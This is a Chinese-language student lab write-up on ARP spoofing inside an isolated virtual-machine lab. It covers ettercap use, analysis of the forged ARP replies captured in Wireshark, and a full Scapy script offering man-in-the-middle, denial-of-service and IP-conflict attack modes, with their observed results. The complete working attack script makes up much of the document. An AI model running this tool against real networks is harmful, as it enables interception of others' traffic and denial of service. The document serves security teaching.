课堂实验

攻击机:Kali-linux 2022.3
靶机:windows xp
软件:ettercap-0.8.31,wireshark

kali:用户名kali,密码kali

实验步骤

分别使用命令ipconfig /all(或ifconfig)查看两个虚拟机网卡、ip地址、网关地址等信息。

kali:192.168.130.142
winxp:192.168.130.143

两虚拟机之间应能互相ping通。

利用命令arp -a查看靶机被攻击前的arp信息

在kali中,使用命令sudo ettercap -G打开ettercap。

  • 选择正在使用的网卡eth0,点击√
  • 点击放大镜图标扫描局域网内的所有主机


在host list中查看扫描结果。分别将靶机IP和网关地址设为目标1和目标2。

打开wireshark准备抓包
在MITM菜单中选择ARP Poisoning,点击ok开始攻击。

查看靶机arp信息。

此时网关的MAC地址已经被篡改为攻击机的MAC地址 。

启动wireshark抓包,实验结果中应用发起arp欺骗攻击的数据包,以及攻击成功后截获的靶机网络流量。


关键数据包 1:欺骗靶机 (Poisoning the Victim)
目的是让靶机误认为攻击者就是网关,选取捕获记录中的 第15行 作为代表:

1
2
No. Time 3Source Destination Protocol Length Info 
15 3.917185383 VMware_8d:38:ed VMware_69:14:0d ARP 42 192.168.130.2 is at 00:0c:29:8d:38:ed
  • 这是什么? 这是一个伪造的ARP应答(ARP Reply)包。
  • Source (源MAC): VMware_8d:38:ed (00:0c:29:8d:38:ed),这是攻击机的真实MAC地址。
  • Info (核心内容): "192.168.130.2 is at 00:0c:29:8d:38:ed",这句是关键的谎言。
    • Sender IP (声称的IP): 192.168.130.2 (这是网关的IP地址)。
    • Sender MAC (声称的MAC): 00:0c:29:8d:38:ed (这是攻击机的MAC地址)。
  • 造成的影响: 当靶机 (192.168.130.143) 收到这个包后,它会更新自己的ARP缓存表,建立起一条错误的映射关系:[网关IP: 192.168.130.2] -> [攻击机MAC: 00:0c:29:8d:38:ed] 。从此以后,靶机所有需要经过网关的数据(例如上网请求),都会被发送到攻击机的网卡上。

关键数据包 2:欺骗网关 (Poisoning the Gateway)
目的是让网关误认为攻击者就是靶机。我们选取捕获记录中的 第11行 作为代表:

1
No. Time Source Destination Protocol Length Info 11 2.906443858 VMware_8d:38:ed VMware_f6:cd:75 ARP 42 192.168.130.143 is at 00:0c:29:8d:38:ed (duplicate use of 192.168.130.2)
  • 这是什么? 这同样是一个伪造的ARP应答包。
  • Source (源MAC): VMware_8d:38:ed (00:0c:29:8d:38:ed),依然是攻击机的真实MAC地址。
  • Info (核心内容): "192.168.130.143 is at 00:0c:29:8d:38:ed",这是第二个谎言
    • Sender IP (声称的IP): 192.168.130.143 (这是靶机的IP地址)。
    • Sender MAC (声称的MAC): 00:0c:29:8d:38:ed (这是攻击机的MAC地址)。
  • 造成的影响: 当网关 (192.168.130.2) 收到这个包后,它也会更新自己的ARP缓存表,建立起另一条错误的映射关系:[靶机IP: 192.168.130.143] -> [攻击机MAC: 00:0c:29:8d:38:ed] 。从此以后,网关收到的、要发给靶机的数据(例如网页的响应内容),都会被发送到攻击机的网卡上。

课后实验

环境搭建

角色分配与网络配置

  • VM1 (攻击机): 安装 Kali Linux,运行Scapy脚本的平台。
  • VM2 (靶机): 安装 Windows XP,攻击目标。
  • VM3 (验证机): 安装 Windows 10(关闭防火墙)。用于证明攻击是定向的。

kali安装scapy

1
pip install scapy

IP信息与arp缓存

攻击机 ifconfig

靶机 ipconfig /all

验证机 ipconfig /all

查看ARP缓存表

1
arp -a

靶机

验证机

角色 操作系统 IPv4 地址 MAC 地址
VM1-攻击机 Kali Linux 192.168.130.142 00:0c:29:8d:38:ed
VM2-靶机 Windows XP 192.168.130.143 00:0c:29:69:14:0D
VM3-验证机 Windows 10 192.168.130.137 00:0c:29:18:B2:59
网关 (Gateway) 192.168.130.2 00:50:56:f6:cd:75

连通性测试

确保三台机互相ping通

脚本介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
# -*- coding: utf-8 -*-
import scapy.all as scapy
import time
import sys
import os
import threading
import logging

# --- 日志配置 ---
logging.basicConfig(filename='arp_spoof_log.txt',
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
encoding='utf-8')

class ArpSpoofer:
def __init__(self):
# 初始化实例变量
self.target_ip = None
self.gateway_ip = None
self.target_mac = None
self.gateway_mac = None
self.attacker_mac = None
self.interface = None
self.spoofing_thread = None
self.spoofing_active = threading.Event()

# 定义常量
self.RESTORE_PACKET_COUNT = 4
self.SPOOF_INTERVAL_SECONDS = 2

def _select_interface(self):
"""让用户选择网络接口"""
interfaces = scapy.get_if_list()
print("[INFO] 检测到以下网络接口:")
for i, iface in enumerate(interfaces):
print(f" {i}: {iface}")

while self.interface is None:
try:
choice = int(input("请选择您要使用的网络接口ID: "))
if 0 <= choice < len(interfaces):
self.interface = interfaces[choice]
scapy.conf.iface = self.interface # 为Scapy设置全局接口
logging.info(f"用户选择了接口: {self.interface}")
print(f"[SUCCESS] 已选择接口: {self.interface}")
else:
print("[WARN] 无效ID,请重新输入。")
except ValueError:
print("[WARN] 请输入数字ID。")

def _get_mac(self, ip):
"""通过ARP请求获取指定IP的MAC地址"""
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
if answered_list:
return answered_list[0][1].hwsrc
return None

def _discover_hosts(self):
"""扫描子网并让用户选择目标"""
my_ip = scapy.get_if_addr(self.interface)
my_subnet = ".".join(my_ip.split('.')[:3]) + ".0/24"
subnet_to_scan = input(f"请输入要扫描的子网 (e.g., 192.168.1.0/24) [默认: {my_subnet}]: ")
if not subnet_to_scan: subnet_to_scan = my_subnet

logging.info(f"开始扫描子网: {subnet_to_scan}")
print(f"[INFO] 开始扫描网络 {subnet_to_scan},请稍候...")
arp_request = scapy.ARP(pdst=subnet_to_scan)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
answered_list = scapy.srp(broadcast/arp_request, timeout=2, verbose=False)[0]

hosts_list = [{'ip': res.psrc, 'mac': res.hwsrc} for req, res in answered_list]

if not hosts_list:
logging.error("扫描结束,未发现任何在线主机。")
print("[ERROR] 在该子网未发现任何在线主机。程序即将退出。")
sys.exit()

logging.info(f"扫描到 {len(hosts_list)} 台在线主机。")
print("\n--- 扫描结果:发现以下在线设备 ---")
print("ID\tIPv4 地址\t\t物理地址 (MAC)")
print("==\t===============\t\t=================")
for i, host in enumerate(hosts_list):
print(f"{i}\t{host['ip']}\t\t{host['mac']}")
print("=======================================")

while self.target_ip is None:
try:
choice = int(input("请根据ID选择您的 [攻击目标 (Target)]: "))
if 0 <= choice < len(hosts_list): self.target_ip = hosts_list[choice]['ip']
else: print("[WARN] 无效ID。")
except ValueError: print("[WARN] 请输入数字ID。")

while self.gateway_ip is None:
try:
choice = int(input("请根据ID选择您的 [欺骗网关 (Gateway)]: "))
if 0 <= choice < len(hosts_list): self.gateway_ip = hosts_list[choice]['ip']
else: print("[WARN] 无效ID。")
except ValueError: print("[WARN] 请输入数字ID。")

logging.info(f"用户选择了靶机: {self.target_ip} 和网关: {self.gateway_ip}")

def _spoof_loop(self):
"""后台欺骗线程的主循环"""
print("[PROCESS] 正在解析目标与网关的物理地址...")
self.target_mac = self._get_mac(self.target_ip)
self.gateway_mac = self._get_mac(self.gateway_ip)
self.attacker_mac = scapy.get_if_hwaddr(self.interface)

if not all([self.target_mac, self.gateway_mac, self.attacker_mac]):
logging.error(f"MAC地址解析失败 - Target: {self.target_mac}, Gateway: {self.gateway_mac}, Attacker: {self.attacker_mac}")
print("[ERROR] 关键MAC地址解析失败,线程退出。")
return

logging.info("MAC地址解析成功,ARP投毒线程启动。")
print("[SUCCESS] 地址解析完成,ARP投毒线程已启动。")
count = 0
while not self.spoofing_active.is_set():
packet_target = scapy.ARP(op=2, pdst=self.target_ip, hwdst=self.target_mac, psrc=self.gateway_ip, hwsrc=self.attacker_mac)
packet_gateway = scapy.ARP(op=2, pdst=self.gateway_ip, hwdst=self.gateway_mac, psrc=self.target_ip, hwsrc=self.attacker_mac)
scapy.send(packet_target, verbose=False)
scapy.send(packet_gateway, verbose=False)
count += 2
print(f"\r[ATTACKING] ARP欺骗进行中 | 已发送数据包: {count}", end="")
time.sleep(self.SPOOF_INTERVAL_SECONDS)

def _ip_conflict_loop(self):
"""后台IP冲突攻击线程的主循环"""
print(f"[PROCESS] 正在为目标 {self.target_ip} 制造IP冲突...")
logging.info(f"开始对 {self.target_ip} 进行IP冲突攻击。")
self.attacker_mac = scapy.get_if_hwaddr(self.interface)

arp_packet = scapy.ARP(op=2,
hwdst="ff:ff:ff:ff:ff:ff",
pdst=self.target_ip,
psrc=self.target_ip,
hwsrc=self.attacker_mac)

ether_packet = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") / arp_packet

count = 0
while not self.spoofing_active.is_set():
scapy.sendp(ether_packet, verbose=False)
count += 1
print(f"\r[ATTACKING] IP冲突攻击进行中 | 已发送数据包: {count}", end="")
time.sleep(self.SPOOF_INTERVAL_SECONDS)

def _restore_network(self):
"""恢复网络"""
if self.target_ip and self.gateway_ip:
logging.info(f"开始为 {self.target_ip}{self.gateway_ip} 恢复网络。")
print("\n[INFO] 正在为目标设备恢复网络...")
target_mac = self._get_mac(self.target_ip)
gateway_mac = self._get_mac(self.gateway_ip)
if target_mac and gateway_mac:
packet_target = scapy.ARP(op=2, pdst=self.target_ip, hwdst=target_mac, psrc=self.gateway_ip, hwsrc=gateway_mac)
packet_gateway = scapy.ARP(op=2, pdst=self.gateway_ip, hwdst=gateway_mac, psrc=self.target_ip, hwsrc=target_mac)
scapy.send(packet_target, count=self.RESTORE_PACKET_COUNT, verbose=False)
scapy.send(packet_gateway, count=self.RESTORE_PACKET_COUNT, verbose=False)
logging.info("网络恢复包已发送。")
print("[SUCCESS] 网络清理完成。")
else:
logging.error("恢复网络失败,无法获取正确的MAC地址。")

def _set_ip_forwarding(self, enable):
"""IP转发控制"""
if "linux" not in sys.platform:
logging.warning("IP转发控制仅在Linux上受支持。")
print("[WARN] IP转发控制仅在Linux系统上有效。")
return
path = "/proc/sys/net/ipv4/ip_forward"
mode = "1" if enable else "0"
status_text = "开启" if enable else "关闭"
mode_text = "中间人(MitM)" if enable else "拒绝服务(DoS)"

try:
with open(path, "w") as f:
f.write(mode)
logging.info(f"IP转发已设置为 {mode} ({status_text})。")
print(f"[CONFIG] IP转发已{status_text}{mode_text}攻击模式已激活。")
except PermissionError:
logging.critical("权限不足,无法修改IP转发设置。")
print(f"[CRITICAL] 权限不足,无法修改 {path}。请使用sudo运行。")

def run(self):
"""主运行逻辑"""
try:
logging.info("脚本启动。")
if os.geteuid() != 0:
logging.critical("未使用root权限运行脚本。")
print("[CRITICAL] 权限不足。此脚本需要root权限来操作原始套接字。")
sys.exit()

self._select_interface()
self._discover_hosts()

while True:
os.system('clear' if os.name == 'posix' else 'cls')
print("/******* ARP Spoofing *******/")
print(f" 操作网卡 (Interface): {self.interface}")
print(f" 攻击目标 (Target): {self.target_ip}")
print(f" 欺骗网关 (Gateway): {self.gateway_ip}")
print("/***************************************************/")

if self.spoofing_thread and self.spoofing_thread.is_alive():
print("\n系统状态: \033[92m攻击已激活\033[0m\n\n 1. \033[91m终止攻击并清理网络\033[0m")
else:
print("\n系统状态: \033[93m待命中\033[0m\n\n 1. 启动中间人 (MitM) 攻击\n 2. 启动拒绝服务 (DoS) 攻击\n 3. 启动IP地址冲突攻击")

print(" 0. 退出程序")
print("---------------------------------------------------")
choice = input("请输入操作指令: ")

if self.spoofing_thread and self.spoofing_thread.is_alive():
if choice == '1':
logging.info("用户选择停止攻击。")
print("\n[INFO] 正在终止攻击线程...")
self.spoofing_active.set()
self.spoofing_thread.join(timeout=3)
self._restore_network()
self.spoofing_thread = None
input("按回车键返回主菜单...")
else:
if choice in ['1', '2']:
mode = "中间人 (MitM)" if choice == '1' else "拒绝服务 (DoS)"
logging.info(f"攻击开始。模式: {mode}")
forwarding = (choice == '1')
self._set_ip_forwarding(forwarding)
self.spoofing_active.clear()
self.spoofing_thread = threading.Thread(target=self._spoof_loop)
self.spoofing_thread.start()
input("\n[INFO] 攻击线程已在后台运行,按回车键返回主菜单...")
elif choice == '3':
logging.info("攻击开始。模式: IP冲突")
self.spoofing_active.clear()
self.spoofing_thread = threading.Thread(target=self._ip_conflict_loop)
self.spoofing_thread.start()
input("\n[INFO] 攻击线程已在后台运行,按回车键返回主菜单...")
elif choice == '0':
break
else:
input("\n[WARN] 指令无效,请按回车键重试。")

except KeyboardInterrupt:
logging.warning("捕获到用户中断信号 (Ctrl+C)。")
print("\n\n[WARN] 捕获到退出信号 (Ctrl+C),开始执行清理程序...")
self.spoofing_active.set()
self._restore_network()

except Exception as e:
logging.critical(f"脚本遇到无法处理的异常: {e}", exc_info=True)
print(f"\n[FATAL] 脚本遇到无法处理的异常: {e}")

finally:
self._set_ip_forwarding(False)
logging.info("脚本安全退出。")
print("[INFO] 程序已安全退出。")

if __name__ == "__main__":
spoofer = ArpSpoofer()
spoofer.run()

支持自主配置参数:网络接口、扫描子网、攻击目标和欺骗网关

支持三种基于ARP的攻击模式:中间人攻击、拒绝服务攻击、IP地址冲突攻击

输入1即可停止攻击

自动生成攻击日志文件,方便复盘

执行攻击与验证

将准备好的脚本 arp_spoof.py 传到kali上

1
sudo python3 arp_spoof.py

拒绝服务攻击


在靶机上运行arp -a,发现网关MAC已被篡改。

尝试ping百度,显示超时。

尝试访问网页,失败。

在验证机上运行arp -a,网关MAC没有被篡改。

ping百度,成功。

打开浏览器,网页加载成功。

输入1可停止攻击

回到靶机,arp -a查看缓存,网关MAC变回真实的。

ping百度也成功。

每次攻击会自动创建攻击日志。

使用wireshark抓包查看

中间人攻击

开启攻击

靶机arp缓存被篡改,但是能正常打开百度

验证机的arp缓存仍然是正确的,说明攻击是针对性的

kali攻击机使用wireshark抓包查看

  • 请求 (Request):可以看到多条源地址(Source)为 192.168.130.143 的数据包,它们正在向一个公网IP 36.110.220.119(某个网站的服务器)发送HTTP GET请求。这代表靶机正在请求网页内容。
  • 响应 (Response):可以看到多条源地址为 36.110.220.119(网站服务器)的数据包,向靶机 192.168.130.143 返回 HTTP/1.1 200 OK 的响应。这代表网站服务器已经同意了请求,并将网页内容发回。

整个通信过程是在攻击机上被Wireshark捕获的,证明了靶机的所有网页浏览数据都经过了攻击机,攻击机能够监听甚至篡改靶机的所有未加密通信。

打开一条GET请求查看,可以看到源MAC是靶机的,但目标MAC是攻击机的,表明靶机把攻击机的MAC当成了网关的。靶机虽然想要把数据包发给公网的服务器,但实际上发送给了攻击机。

IP冲突攻击



验证机正常上网,且没有收到IP冲突的弹窗。

wireshark抓包